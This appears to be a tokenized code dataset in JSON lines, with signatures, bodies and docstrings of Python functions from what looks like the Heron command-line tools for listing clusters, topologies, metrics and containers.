{"signature": "def topology_jars():", "body": "jars = [<EOL>os.path.join(config.get_heron_lib_dir(), \"<STR_LIT>\", \"<STR_LIT:*>\")<EOL>]<EOL>return jars<EOL>", "docstring": "Get the topology jars\n:return:", "id": "f7382:m1"}
{"signature": "def scheduler_jars():", "body": "jars = [<EOL>os.path.join(config.get_heron_lib_dir(), \"<STR_LIT>\", \"<STR_LIT:*>\")<EOL>]<EOL>return jars<EOL>", "docstring": "Get the scheduler jars\n:return:", "id": "f7382:m2"}
{"signature": "def uploader_jars():", "body": "jars = [<EOL>os.path.join(config.get_heron_lib_dir(), \"<STR_LIT>\", \"<STR_LIT:*>\")<EOL>]<EOL>return jars<EOL>", "docstring": "Get the uploader jars\n:return:", "id": "f7382:m3"}
{"signature": "def statemgr_jars():", "body": "jars = [<EOL>os.path.join(config.get_heron_lib_dir(), \"<STR_LIT>\", \"<STR_LIT:*>\")<EOL>]<EOL>return jars<EOL>", "docstring": "Get the statemgr jars\n:return:", "id": "f7382:m4"}
{"signature": "def packing_jars():", "body": "jars = [<EOL>os.path.join(config.get_heron_lib_dir(), \"<STR_LIT>\", \"<STR_LIT:*>\")<EOL>]<EOL>return jars<EOL>", "docstring": "Get the packing algorithm jars\n:return:", "id": "f7382:m5"}
{"signature": "def create_parser(subparsers):", "body": "return cli_helper.create_parser(subparsers, '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": ":param subparsers:\n:return:", "id": "f7383:m0"}
{"signature": "def run(command, parser, cl_args, unknown_args):", "body": "Log.debug(\"<STR_LIT>\", cl_args)<EOL>return cli_helper.run(command, cl_args, \"<STR_LIT>\")<EOL>", "docstring": ":param command:\n:param parser:\n:param cl_args:\n:param unknown_args:\n:return:", "id": "f7383:m1"}
{"signature": "def create_parser(subparsers):", "body": "parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=True)<EOL>args.add_titles(parser)<EOL>args.add_cluster_role_env(parser)<EOL>args.add_topology(parser)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:?>',<EOL>type=int,<EOL>default=-<NUM_LIT:1>,<EOL>help='<STR_LIT>')<EOL>args.add_config(parser)<EOL>args.add_service_url(parser)<EOL>args.add_verbose(parser)<EOL>parser.set_defaults(subcommand='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param subparsers:\n:return:", "id": "f7384:m0"}
{"signature": "def run(command, parser, cl_args, unknown_args):", "body": "Log.debug(\"<STR_LIT>\", cl_args)<EOL>container_id = cl_args['<STR_LIT>']<EOL>if cl_args['<STR_LIT>'] == config.SERVER_MODE:<EOL><INDENT>dict_extra_args = {\"<STR_LIT>\": str(container_id)}<EOL>return cli_helper.run_server(command, cl_args, \"<STR_LIT>\", extra_args=dict_extra_args)<EOL><DEDENT>else:<EOL><INDENT>list_extra_args = [\"<STR_LIT>\", str(container_id)]<EOL>return cli_helper.run_direct(command, cl_args, \"<STR_LIT>\", extra_args=list_extra_args)<EOL><DEDENT>", "docstring": ":param command:\n:param parser:\n:param cl_args:\n:param unknown_args:\n:return:", "id": "f7384:m1"}
{"signature": "def create_parser(subparsers):", "body": "parser = subparsers.add_parser(<EOL>'<STR_LIT:version>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=False)<EOL>args.add_titles(parser)<EOL>parser.set_defaults(subcommand='<STR_LIT:version>')<EOL>return parser<EOL>", "docstring": "create parser", "id": "f7386:m0"}
{"signature": "def run(command, parser, known_args, unknown_args):", "body": "config.print_build_info()<EOL>return True<EOL>", "docstring": "run command", "id": "f7386:m1"}
{"signature": "def create_parser(subparsers):", "body": "parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=True)<EOL>args.add_cluster_role_env(parser)<EOL>args.add_verbose(parser)<EOL>args.add_tracker_url(parser)<EOL>args.add_config(parser)<EOL>parser.set_defaults(subcommand='<STR_LIT>')<EOL>return subparsers<EOL>", "docstring": "create parser", "id": "f7387:m0"}
{"signature": "def to_table(result):", "body": "max_count = <NUM_LIT:20><EOL>table, count = [], <NUM_LIT:0><EOL>for role, envs_topos in result.items():<EOL><INDENT>for env, topos in envs_topos.items():<EOL><INDENT>for topo in topos:<EOL><INDENT>count += <NUM_LIT:1><EOL>if count > max_count:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>table.append([role, env, topo])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>header = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>rest_count = <NUM_LIT:0> if count <= max_count else count - max_count<EOL>return table, header, rest_count<EOL>", "docstring": "normalize raw result to table", "id": "f7387:m1"}
{"signature": "def show_cluster(cl_args, cluster):", "body": "try:<EOL><INDENT>result = tracker_access.get_cluster_topologies(cluster)<EOL>if not result:<EOL><INDENT>Log.error('<STR_LIT>' % cluster)<EOL>return False<EOL><DEDENT>result = result[cluster]<EOL><DEDENT>except Exception:<EOL><INDENT>Log.error(\"<STR_LIT>\", cl_args[\"<STR_LIT>\"])<EOL>return False<EOL><DEDENT>table, header, rest_count = to_table(result)<EOL>print('<STR_LIT>' % cluster)<EOL>if rest_count:<EOL><INDENT>print('<STR_LIT>' % rest_count)<EOL><DEDENT>print(tabulate(table, headers=header))<EOL>return True<EOL>", "docstring": "print topologies information to stdout", "id": "f7387:m2"}
{"signature": "def show_cluster_role(cl_args, cluster, role):", "body": "try:<EOL><INDENT>result = tracker_access.get_cluster_role_topologies(cluster, role)<EOL>if not result:<EOL><INDENT>Log.error('<STR_LIT>' % '<STR_LIT:/>'.join([cluster, role]))<EOL>return False<EOL><DEDENT>result = result[cluster]<EOL><DEDENT>except Exception:<EOL><INDENT>Log.error(\"<STR_LIT>\", cl_args[\"<STR_LIT>\"])<EOL>return False<EOL><DEDENT>table, header, rest_count = to_table(result)<EOL>print('<STR_LIT>' % (cluster, role))<EOL>if rest_count:<EOL><INDENT>print('<STR_LIT>' % rest_count)<EOL><DEDENT>print(tabulate(table, headers=header))<EOL>return True<EOL>", "docstring": "print topologies information to stdout", "id": "f7387:m3"}
{"signature": "def show_cluster_role_env(cl_args, cluster, role, env):", "body": "try:<EOL><INDENT>result = tracker_access.get_cluster_role_env_topologies(cluster, role, env)<EOL>if not result:<EOL><INDENT>Log.error('<STR_LIT>' % '<STR_LIT:/>'.join([cluster, role, env]))<EOL>return False<EOL><DEDENT>result = result[cluster]<EOL><DEDENT>except Exception:<EOL><INDENT>Log.error(\"<STR_LIT>\", cl_args[\"<STR_LIT>\"])<EOL>return False<EOL><DEDENT>table, header, rest_count = to_table(result)<EOL>print('<STR_LIT>' % (cluster, role, env))<EOL>if rest_count:<EOL><INDENT>print('<STR_LIT>' % rest_count)<EOL><DEDENT>print(tabulate(table, headers=header))<EOL>return True<EOL>", "docstring": "print topologies information to stdout", "id": "f7387:m4"}
{"signature": "def run(command, parser, cl_args, unknown_args):", "body": "location = cl_args['<STR_LIT>'].split('<STR_LIT:/>')<EOL>if len(location) == <NUM_LIT:1>:<EOL><INDENT>return show_cluster(cl_args, *location)<EOL><DEDENT>elif len(location) == <NUM_LIT:2>:<EOL><INDENT>return show_cluster_role(cl_args, *location)<EOL><DEDENT>elif len(location) == <NUM_LIT:3>:<EOL><INDENT>return show_cluster_role_env(cl_args, *location)<EOL><DEDENT>else:<EOL><INDENT>Log.error('<STR_LIT>')<EOL>return False<EOL><DEDENT>", "docstring": "run command", "id": "f7387:m5"}
{"signature": "def create_parser(subparsers):", "body": "components_parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=False)<EOL>args.add_cluster_role_env(components_parser)<EOL>args.add_topology_name(components_parser)<EOL>args.add_spouts(components_parser)<EOL>args.add_bolts(components_parser)<EOL>args.add_verbose(components_parser)<EOL>args.add_tracker_url(components_parser)<EOL>args.add_config(components_parser)<EOL>components_parser.set_defaults(subcommand='<STR_LIT>')<EOL>return subparsers<EOL>", "docstring": "create parser", "id": "f7388:m0"}
{"signature": "def parse_topo_loc(cl_args):", "body": "try:<EOL><INDENT>topo_loc = cl_args['<STR_LIT>'].split('<STR_LIT:/>')<EOL>topo_loc.append(cl_args['<STR_LIT>'])<EOL>if len(topo_loc) != <NUM_LIT:4>:<EOL><INDENT>raise<EOL><DEDENT>return topo_loc<EOL><DEDENT>except Exception:<EOL><INDENT>Log.error('<STR_LIT>')<EOL>raise<EOL><DEDENT>", "docstring": "parse topology location", "id": "f7388:m1"}
{"signature": "def to_table(components, topo_info):", "body": "inputs, outputs = defaultdict(list), defaultdict(list)<EOL>for ctype, component in components.items():<EOL><INDENT>if ctype == '<STR_LIT>':<EOL><INDENT>for component_name, component_info in component.items():<EOL><INDENT>for input_stream in component_info['<STR_LIT>']:<EOL><INDENT>input_name = input_stream['<STR_LIT>']<EOL>inputs[component_name].append(input_name)<EOL>outputs[input_name].append(component_name)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>info = []<EOL>spouts_instance = topo_info['<STR_LIT>']['<STR_LIT>']<EOL>bolts_instance = topo_info['<STR_LIT>']['<STR_LIT>']<EOL>for ctype, component in components.items():<EOL><INDENT>if ctype == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>for component_name, component_info in component.items():<EOL><INDENT>row = [ctype[:-<NUM_LIT:1>], component_name]<EOL>if ctype == '<STR_LIT>':<EOL><INDENT>row.append(len(spouts_instance[component_name]))<EOL><DEDENT>else:<EOL><INDENT>row.append(len(bolts_instance[component_name]))<EOL><DEDENT>row.append('<STR_LIT:U+002C>'.join(inputs.get(component_name, ['<STR_LIT:->'])))<EOL>row.append('<STR_LIT:U+002C>'.join(outputs.get(component_name, ['<STR_LIT:->'])))<EOL>info.append(row)<EOL><DEDENT><DEDENT>header = ['<STR_LIT:type>', '<STR_LIT:name>', '<STR_LIT>', '<STR_LIT:input>', '<STR_LIT>']<EOL>return info, header<EOL>", "docstring": "normalize raw logical plan info to table", "id": "f7388:m2"}
{"signature": "def filter_bolts(table, header):", "body": "bolts_info = []<EOL>for row in table:<EOL><INDENT>if row[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>bolts_info.append(row)<EOL><DEDENT><DEDENT>return bolts_info, header<EOL>", "docstring": "filter to keep bolts", "id": "f7388:m3"}
{"signature": "def filter_spouts(table, header):", "body": "spouts_info = []<EOL>for row in table:<EOL><INDENT>if row[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>spouts_info.append(row)<EOL><DEDENT><DEDENT>return spouts_info, header<EOL>", "docstring": "filter to keep spouts", "id": "f7388:m4"}
{"signature": "def run(cl_args, compo_type):", "body": "cluster, role, env = cl_args['<STR_LIT>'], cl_args['<STR_LIT>'], cl_args['<STR_LIT>']<EOL>topology = cl_args['<STR_LIT>']<EOL>spouts_only, bolts_only = cl_args['<STR_LIT>'], cl_args['<STR_LIT>']<EOL>try:<EOL><INDENT>components = tracker_access.get_logical_plan(cluster, env, topology, role)<EOL>topo_info = tracker_access.get_topology_info(cluster, env, topology, role)<EOL>table, header = to_table(components, topo_info)<EOL>if spouts_only == bolts_only:<EOL><INDENT>print(tabulate(table, headers=header))<EOL><DEDENT>elif spouts_only:<EOL><INDENT>table, header = filter_spouts(table, header)<EOL>print(tabulate(table, headers=header))<EOL><DEDENT>else:<EOL><INDENT>table, header = filter_bolts(table, header)<EOL>print(tabulate(table, headers=header))<EOL><DEDENT>return True<EOL><DEDENT>except:<EOL><INDENT>Log.error(\"<STR_LIT>\", cl_args[\"<STR_LIT>\"])<EOL>return False<EOL><DEDENT>", "docstring": "run command", "id": "f7388:m5"}
{"signature": "def run_components(command, parser, cl_args, unknown_args):", "body": "return run(cl_args, '<STR_LIT:all>')<EOL>", "docstring": "run components command", "id": "f7388:m6"}
{"signature": "def run_spouts(command, parser, cl_args, unknown_args):", "body": "return run(cl_args, '<STR_LIT>')<EOL>", "docstring": "run spouts command", "id": "f7388:m7"}
{"signature": "def run_bolts(command, parser, cl_args, unknown_args):", "body": "return run(cl_args, '<STR_LIT>')<EOL>", "docstring": "run bolts command", "id": "f7388:m8"}
{"signature": "def set_tracker_url(cl_args):", "body": "define(\"<STR_LIT>\", cl_args[\"<STR_LIT>\"])<EOL>", "docstring": "define global Tornado variable", "id": "f7389:m0"}
{"signature": "def create_parser(subparsers):", "body": "metrics_parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=False)<EOL>args.add_cluster_role_env(metrics_parser)<EOL>args.add_topology_name(metrics_parser)<EOL>args.add_verbose(metrics_parser)<EOL>args.add_tracker_url(metrics_parser)<EOL>args.add_config(metrics_parser)<EOL>args.add_component_name(metrics_parser)<EOL>metrics_parser.set_defaults(subcommand='<STR_LIT>')<EOL>containers_parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=False)<EOL>args.add_cluster_role_env(containers_parser)<EOL>args.add_topology_name(containers_parser)<EOL>args.add_verbose(containers_parser)<EOL>args.add_tracker_url(containers_parser)<EOL>args.add_config(containers_parser)<EOL>args.add_container_id(containers_parser)<EOL>containers_parser.set_defaults(subcommand='<STR_LIT>')<EOL>return subparsers<EOL>", "docstring": "create parser", "id": "f7390:m0"}
{"signature": "def parse_topo_loc(cl_args):", "body": "try:<EOL><INDENT>topo_loc = cl_args['<STR_LIT>'].split('<STR_LIT:/>')<EOL>topo_name = cl_args['<STR_LIT>']<EOL>topo_loc.append(topo_name)<EOL>if len(topo_loc) != <NUM_LIT:4>:<EOL><INDENT>raise<EOL><DEDENT>return topo_loc<EOL><DEDENT>except Exception:<EOL><INDENT>Log.error('<STR_LIT>')<EOL>raise<EOL><DEDENT>", "docstring": "parse topology location", "id": "f7390:m1"}
{"signature": "def to_table(metrics):", "body": "all_queries = tracker_access.metric_queries()<EOL>m = tracker_access.queries_map()<EOL>names = metrics.values()[<NUM_LIT:0>].keys()<EOL>stats = []<EOL>for n in names:<EOL><INDENT>info = [n]<EOL>for field in all_queries:<EOL><INDENT>try:<EOL><INDENT>info.append(str(metrics[field][n]))<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>stats.append(info)<EOL><DEDENT>header = ['<STR_LIT>'] + [m[k] for k in all_queries if k in metrics.keys()]<EOL>return stats, header<EOL>", "docstring": "normalize raw metrics API result to table", "id": "f7390:m2"}
{"signature": "def run_metrics(command, parser, cl_args, unknown_args):", "body": "cluster, role, env = cl_args['<STR_LIT>'], cl_args['<STR_LIT>'], cl_args['<STR_LIT>']<EOL>topology = cl_args['<STR_LIT>']<EOL>try:<EOL><INDENT>result = tracker_access.get_topology_info(cluster, env, topology, role)<EOL>spouts = result['<STR_LIT>']['<STR_LIT>'].keys()<EOL>bolts = result['<STR_LIT>']['<STR_LIT>'].keys()<EOL>components = spouts + bolts<EOL>cname = cl_args['<STR_LIT>']<EOL>if cname:<EOL><INDENT>if cname in components:<EOL><INDENT>components = [cname]<EOL><DEDENT>else:<EOL><INDENT>Log.error('<STR_LIT>' % cname)<EOL>raise<EOL><DEDENT><DEDENT><DEDENT>except Exception:<EOL><INDENT>Log.error(\"<STR_LIT>\", cl_args[\"<STR_LIT>\"])<EOL>return False<EOL><DEDENT>cresult = []<EOL>for comp in components:<EOL><INDENT>try:<EOL><INDENT>metrics = tracker_access.get_component_metrics(comp, cluster, env, topology, role)<EOL><DEDENT>except:<EOL><INDENT>Log.error(\"<STR_LIT>\", cl_args[\"<STR_LIT>\"])<EOL>return False<EOL><DEDENT>stat, header = to_table(metrics)<EOL>cresult.append((comp, stat, header))<EOL><DEDENT>for i, (comp, stat, header) in enumerate(cresult):<EOL><INDENT>if i != <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>print('<STR_LIT>' % comp)<EOL>print(tabulate(stat, headers=header))<EOL><DEDENT>return True<EOL>", "docstring": "run metrics subcommand", "id": "f7390:m3"}
{"signature": "def run_bolts(command, parser, cl_args, unknown_args):", "body": "cluster, role, env = cl_args['<STR_LIT>'], cl_args['<STR_LIT>'], cl_args['<STR_LIT>']<EOL>topology = cl_args['<STR_LIT>']<EOL>try:<EOL><INDENT>result = tracker_access.get_topology_info(cluster, env, topology, role)<EOL>bolts = result['<STR_LIT>']['<STR_LIT>'].keys()<EOL>bolt_name = cl_args['<STR_LIT>']<EOL>if bolt_name:<EOL><INDENT>if bolt_name in bolts:<EOL><INDENT>bolts = [bolt_name]<EOL><DEDENT>else:<EOL><INDENT>Log.error('<STR_LIT>' % bolt_name)<EOL>raise<EOL><DEDENT><DEDENT><DEDENT>except Exception:<EOL><INDENT>Log.error(\"<STR_LIT>\", cl_args[\"<STR_LIT>\"])<EOL>return False<EOL><DEDENT>bolts_result = []<EOL>for bolt in bolts:<EOL><INDENT>try:<EOL><INDENT>metrics = tracker_access.get_component_metrics(bolt, cluster, env, topology, role)<EOL>stat, header = to_table(metrics)<EOL>bolts_result.append((bolt, stat, header))<EOL><DEDENT>except Exception:<EOL><INDENT>Log.error(\"<STR_LIT>\", cl_args[\"<STR_LIT>\"])<EOL>return False<EOL><DEDENT><DEDENT>for i, (bolt, stat, header) in enumerate(bolts_result):<EOL><INDENT>if i != <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>print('<STR_LIT>' % bolt)<EOL>print(tabulate(stat, headers=header))<EOL><DEDENT>return True<EOL>", "docstring": "run bolts subcommand", "id": "f7390:m4"}
{"signature": "def run_containers(command, parser, cl_args, unknown_args):", "body": "cluster, role, env = cl_args['<STR_LIT>'], cl_args['<STR_LIT>'], cl_args['<STR_LIT>']<EOL>topology = cl_args['<STR_LIT>']<EOL>container_id = cl_args['<STR_LIT:id>']<EOL>try:<EOL><INDENT>result = tracker_access.get_topology_info(cluster, env, topology, role)<EOL><DEDENT>except:<EOL><INDENT>Log.error(\"<STR_LIT>\", cl_args[\"<STR_LIT>\"])<EOL>return False<EOL><DEDENT>containers = result['<STR_LIT>']['<STR_LIT>']<EOL>all_bolts, all_spouts = set(), set()<EOL>for _, bolts in result['<STR_LIT>']['<STR_LIT>'].items():<EOL><INDENT>all_bolts = all_bolts | set(bolts)<EOL><DEDENT>for _, spouts in result['<STR_LIT>']['<STR_LIT>'].items():<EOL><INDENT>all_spouts = all_spouts | set(spouts)<EOL><DEDENT>stmgrs = containers.keys()<EOL>stmgrs.sort()<EOL>if container_id is not None:<EOL><INDENT>try:<EOL><INDENT>normalized_cid = container_id - <NUM_LIT:1><EOL>if normalized_cid < <NUM_LIT:0>:<EOL><INDENT>raise<EOL><DEDENT>stmgrs = [stmgrs[normalized_cid]]<EOL><DEDENT>except:<EOL><INDENT>Log.error('<STR_LIT>' % container_id)<EOL>return False<EOL><DEDENT><DEDENT>table = []<EOL>for sid, name in enumerate(stmgrs):<EOL><INDENT>cid = sid + <NUM_LIT:1><EOL>host = containers[name][\"<STR_LIT:host>\"]<EOL>port = containers[name][\"<STR_LIT:port>\"]<EOL>pid = containers[name][\"<STR_LIT>\"]<EOL>instances = containers[name][\"<STR_LIT>\"]<EOL>bolt_nums = len([instance for instance in instances if instance in all_bolts])<EOL>spout_nums = len([instance for instance in instances if instance in all_spouts])<EOL>table.append([cid, host, port, pid, bolt_nums, spout_nums, len(instances)])<EOL><DEDENT>headers = [\"<STR_LIT>\", \"<STR_LIT:host>\", \"<STR_LIT:port>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>sys.stdout.flush()<EOL>print(tabulate(table, headers=headers))<EOL>return True<EOL>", "docstring": "run containers subcommand", "id": "f7390:m5"}
{"signature": "def create_parser(subparsers):", "body": "parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>add_help=False)<EOL>parser._positionals.title = \"<STR_LIT>\"<EOL>parser._optionals.title = \"<STR_LIT>\"<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:?>',<EOL>default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>parser.set_defaults(subcommand='<STR_LIT>')<EOL>return parser<EOL>", "docstring": "create parser", "id": "f7391:m0"}
{"signature": "def run(command, parser, args, unknown_args):", "body": "<EOL>command_help = args['<STR_LIT>']<EOL>if command_help == '<STR_LIT>':<EOL><INDENT>parser.print_help()<EOL>return True<EOL><DEDENT>subparser = config.get_subparser(parser, command_help)<EOL>if subparser:<EOL><INDENT>print(subparser.format_help())<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>Log.error(\"<STR_LIT>\" % command_help)<EOL>return False<EOL><DEDENT>", "docstring": "run command", "id": "f7391:m1"}
{"signature": "def create_parser():", "body": "help_epilog = '''<STR_LIT>'''<EOL>parser = argparse.ArgumentParser(<EOL>prog='<STR_LIT>',<EOL>epilog=help_epilog,<EOL>formatter_class=SubcommandHelpFormatter,<EOL>add_help=False)<EOL>subparsers = parser.add_subparsers(<EOL>title=\"<STR_LIT>\",<EOL>metavar='<STR_LIT>')<EOL>clusters.create_parser(subparsers)<EOL>logicalplan.create_parser(subparsers)<EOL>physicalplan.create_parser(subparsers)<EOL>topologies.create_parser(subparsers)<EOL>help.create_parser(subparsers)<EOL>version.create_parser(subparsers)<EOL>return parser<EOL>", "docstring": "create parser", "id": "f7392:m0"}
{"signature": "def run(command, *args):", "body": "<EOL>if command == '<STR_LIT>':<EOL><INDENT>return clusters.run(command, *args)<EOL><DEDENT>elif command == '<STR_LIT>':<EOL><INDENT>return topologies.run(command, *args)<EOL><DEDENT>elif command == '<STR_LIT>':<EOL><INDENT>return physicalplan.run_containers(command, *args)<EOL><DEDENT>elif command == '<STR_LIT>':<EOL><INDENT>return physicalplan.run_metrics(command, *args)<EOL><DEDENT>elif command == '<STR_LIT>':<EOL><INDENT>return logicalplan.run_components(command, *args)<EOL><DEDENT>elif command == '<STR_LIT>':<EOL><INDENT>return logicalplan.run_spouts(command, *args)<EOL><DEDENT>elif command == '<STR_LIT>':<EOL><INDENT>return logicalplan.run_bolts(command, *args)<EOL><DEDENT>elif command == '<STR_LIT>':<EOL><INDENT>return help.run(command, *args)<EOL><DEDENT>elif command == '<STR_LIT:version>':<EOL><INDENT>return version.run(command, *args)<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "run command", "id": "f7392:m1"}
{"signature": "def extract_common_args(command, parser, cl_args):", "body": "try:<EOL><INDENT>cluster_role_env = cl_args['<STR_LIT>']<EOL>config_path = cl_args['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>subparser = config.get_subparser(parser, command)<EOL>print(subparser.format_help())<EOL>return dict()<EOL><DEDENT>cluster = config.get_heron_cluster(cluster_role_env)<EOL>config_path = config.get_heron_cluster_conf_dir(cluster, config_path)<EOL>new_cl_args = dict()<EOL>try:<EOL><INDENT>cluster_tuple = config.parse_cluster_role_env(cluster_role_env, config_path)<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:0>]<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:1>]<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:2>]<EOL>new_cl_args['<STR_LIT>'] = config_path<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.error(\"<STR_LIT>\", str(e))<EOL>return dict()<EOL><DEDENT>cl_args.update(new_cl_args)<EOL>return cl_args<EOL>", "docstring": "extract common args", "id": "f7392:m2"}
{"signature": "def main(args):", "body": "<EOL>parser = create_parser()<EOL>if not args:<EOL><INDENT>parser.print_help()<EOL>return <NUM_LIT:0><EOL><DEDENT>all_args = parse.insert_bool_values(args)<EOL>args, unknown_args = parser.parse_known_args(args=all_args)<EOL>command_line_args = vars(args)<EOL>command = command_line_args['<STR_LIT>']<EOL>if unknown_args:<EOL><INDENT>Log.error('<STR_LIT>', unknown_args[<NUM_LIT:0>])<EOL>command_line_args['<STR_LIT>'] = command<EOL>command = '<STR_LIT>'<EOL><DEDENT>if command not in ['<STR_LIT>', '<STR_LIT:version>']:<EOL><INDENT>opts.set_tracker_url(command_line_args)<EOL>log.set_logging_level(command_line_args)<EOL>if command not in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>command_line_args = extract_common_args(command, parser, command_line_args)<EOL><DEDENT>if not command_line_args:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>Log.info(\"<STR_LIT>\", command_line_args[\"<STR_LIT>\"])<EOL><DEDENT>start = time.time()<EOL>ret = run(command, parser, command_line_args, unknown_args)<EOL>end = time.time()<EOL>if command != '<STR_LIT>':<EOL><INDENT>sys.stdout.flush()<EOL>Log.info('<STR_LIT>', (end - start))<EOL><DEDENT>return <NUM_LIT:0> if ret else <NUM_LIT:1><EOL>", "docstring": "main", "id": "f7392:m3"}
{"signature": "def create_parser(subparsers):", "body": "parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=True)<EOL>args.add_verbose(parser)<EOL>args.add_tracker_url(parser)<EOL>parser.set_defaults(subcommand='<STR_LIT>')<EOL>return subparsers<EOL>", "docstring": "create argument parser", "id": "f7393:m0"}
{"signature": "def run(command, parser, cl_args, unknown_args):", "body": "try:<EOL><INDENT>clusters = tracker_access.get_clusters()<EOL><DEDENT>except:<EOL><INDENT>Log.error(\"<STR_LIT>\", cl_args[\"<STR_LIT>\"])<EOL>return False<EOL><DEDENT>print('<STR_LIT>')<EOL>for cluster in clusters:<EOL><INDENT>print('<STR_LIT>' % cluster)<EOL><DEDENT>return True<EOL>", "docstring": "run command", "id": "f7393:m1"}
{"signature": "def add_config(parser):", "body": "<EOL>default_config_path = config.get_heron_conf_dir()<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>' + default_config_path + '<STR_LIT>',<EOL>default=os.path.join(config.get_heron_dir(), default_config_path))<EOL>return parser<EOL>", "docstring": "add config", "id": "f7394:m0"}
{"signature": "def add_titles(parser):", "body": "parser._positionals.title = \"<STR_LIT>\"<EOL>parser._optionals.title = \"<STR_LIT>\"<EOL>return parser<EOL>", "docstring": "add titles", "id": "f7394:m1"}
{"signature": "def insert_bool(param, command_args):", "body": "index = <NUM_LIT:0><EOL>found = False<EOL>for lelem in command_args:<EOL><INDENT>if lelem == '<STR_LIT>' and not found:<EOL><INDENT>break<EOL><DEDENT>if lelem == param:<EOL><INDENT>found = True<EOL>break<EOL><DEDENT>index = index + <NUM_LIT:1><EOL><DEDENT>if found:<EOL><INDENT>command_args.insert(index + <NUM_LIT:1>, '<STR_LIT:True>')<EOL><DEDENT>return command_args<EOL>", "docstring": "insert boolean", "id": "f7394:m2"}
{"signature": "def insert_bool_values(command_line_args):", "body": "args1 = insert_bool('<STR_LIT>', command_line_args)<EOL>return args1<EOL>", "docstring": "insert boolean values", "id": "f7394:m3"}
{"signature": "def add_verbose(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>',<EOL>type=bool,<EOL>default=False)<EOL>return parser<EOL>", "docstring": "add optional verbose argument", "id": "f7394:m4"}
{"signature": "def add_tracker_url(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>' + DEFAULT_TRACKER_URL + '<STR_LIT>',<EOL>type=str, default=DEFAULT_TRACKER_URL)<EOL>return parser<EOL>", "docstring": "add optional tracker_url argument", "id": "f7394:m5"}
{"signature": "def add_container_id(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>type=int, metavar='<STR_LIT>')<EOL>return parser<EOL>", "docstring": "add optional argument that specifies container id", "id": "f7394:m6"}
{"signature": "def add_component_name(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>metavar='<STR_LIT>',<EOL>type=str)<EOL>return parser<EOL>", "docstring": "add optional argument that specifies component name", "id": "f7394:m7"}
{"signature": "def add_spouts(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>', help='<STR_LIT>', action='<STR_LIT:store_true>')<EOL>return parser<EOL>", "docstring": "add optional argument that displays spout only", "id": "f7394:m8"}
{"signature": "def add_bolts(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>', help='<STR_LIT>', action='<STR_LIT:store_true>')<EOL>return parser<EOL>", "docstring": "add optional argument that displays bolts only", "id": "f7394:m9"}
{"signature": "def add_cluster_role_env(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>', help='<STR_LIT>', type=str,<EOL>metavar='<STR_LIT>')<EOL>return parser<EOL>", "docstring": "add argument that specifies topologies location", "id": "f7394:m10"}
{"signature": "def add_topology_name(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>)<EOL>return parser<EOL>", "docstring": "add argument that specifies topology name", "id": "f7394:m11"}
{"signature": "def get(self, cluster, environ, topology):", "body": "<EOL>options = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>active=\"<STR_LIT>\",<EOL>function=common.className,<EOL>baseUrl=self.baseUrl)<EOL>self.render(\"<STR_LIT>\", **options)<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:return:", "id": "f7395:c0:m1"}
